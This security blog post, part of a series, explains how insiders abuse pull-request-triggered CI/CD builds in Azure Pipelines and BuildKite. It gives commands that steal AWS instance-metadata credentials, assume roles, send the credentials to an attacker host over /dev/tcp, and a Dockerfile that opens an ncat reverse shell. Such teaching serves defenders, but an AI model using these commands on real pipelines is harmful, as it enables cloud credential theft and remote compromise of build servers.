Attacking CI/CD Tools - The crown Jewels - Series 2
Introduction
Automating to build projects based on pull requests is something DevOps teams cannot avoid in CI/CD pipelines. When you set up automated builds (also called auto builds), you create a list of branches and tags that you want to build. When you push code to a source code branch for one of those listed image tags, the push uses a webhook to trigger a new build.
In the previous blog post, we have seen different techniques such as gaining access to build servers, cloud infrastructure, and backdooring build servers. In this blog post, we will see how internal users with no access to build servers harness automated build triggers to their advantage to gain access to the build servers and infrastructure.
Such attacks are evident in companies that open-source their projects and accept contributions from external sources.
1) How can a developer gain access to the cloud Infra and Build server using a Pull Request?
When there is an automated build process that kicks off the CI/CD pipeline on a pull request, the build gets triggered immediately after pushing the code to the branch and creating a pull request. The build doesn’t wait for a peer review and this is where an internal can harness this feature to their advantage.
a) Implementing this attack using AzurePipelines
I created a new job with an executable step to execute my commands as shown below to grab the AWS ec2 instance metadata.
b) Implementing the same attack using BuildKite tool
2) When build tools hide sensitive data in their logs
The majority of the build tools hide sensitive data in their logs. In such scenarios, it’s not possible to retrieve secret and access keys as shown in the previous techniques. However, this can be bypassed by grabbing the role arn using instance metadata. In order, this technique to be successful there should be a misconfiguration in the trust relationship.
You can assume the role ran that you grabbed using the below commands
#To assume the role
export ASSUMED_ROLE=<Agent Role ARN>
#To retrieve the SecretKey, AaccessKey and Token
creds=$(aws — region ap-southeast-2 sts assume-role — role-arn ${ASSUMED_ROLE?is not set} — role-session-name AWSCLI-Session) && export AWS_ACCESS_KEY_ID=$(echo $creds| jq -r “.Credentials | .AccessKeyId”) && export AWS_SECRET_ACCESS_KEY=$(echo $creds| jq -r “.Credentials | .SecretAccessKey”) && export AWS_SESSION_TOKEN=$(echo $creds| jq -r “.Credentials | .SessionToken”)
#To check your access
aws sts get-caller-identity 3) Gaining access to cloud Infrastructure with no access to build tool
Assuming the attacker has no access at all to the build tool and incase if he cannot access the build logs to see the output of this job, the attacker can pipe the output of the commands executed to the attackers' listening machine.
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance | xargs echo > /dev/tcp/attackers-ip/port
4) Exploiting container-based builds
Running your builds in isolated containers keeps your build servers clean and it is especially useful if your build has special dependencies.
However, if the build is invoked based on a vulnerable container, can lead to havoc. The below code snippet is an example of building a vulnerable container which when built and run gives a shell to the attacker.
FROM ubuntu:latest
RUN apt update && apt install -y nmap
RUN ncat 172.17.0.8 5959 -e /bin/sh
CMD [“/bin/bash”]
Every time a build is invoked based on this container, it creates an avenue for the attacker to gain access to the build tool by initiating a connection to the attacker's machine.
While many organizations have embraced this approach for development and operations, they are often slow or neglect to secure the CI/CD framework.
The attacks don’t always need to be from an external resource. We also need to protect the pipeline from insider attacks by ensuring that all changes are fully transparent and traceable from end to end, that a malicious and informed insider cannot make a change without being detected, and that they cannot bypass any checks or validations.
As a continuation of this blog post, there is series 3 where I have discussed the alerting, defending, and prevention techniques of attacks on CI/CD ToolChain.